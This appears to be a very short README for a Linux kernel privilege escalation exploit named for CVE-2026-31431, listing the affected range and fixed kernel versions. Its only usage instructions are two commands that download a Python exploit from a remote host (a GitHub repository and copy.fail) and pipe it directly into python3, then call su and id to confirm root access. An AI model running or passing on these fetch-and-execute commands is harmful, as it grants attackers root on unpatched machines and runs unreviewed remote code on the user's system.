CVE-2026-31431
Issue introduced in 4.14
Fixed in Kernel versions: 7.0, 6.19.12, 6.18.22, 6.12.85, 6.6.137, 6.1.170, 5.15.204, 5.10.254
This repo:
curl https://github.com/chrono1313/copyfail/blob/main/copyfail.py | python3 && su
id
ALT:
curl https://copy.fail/exp | python3 && su
id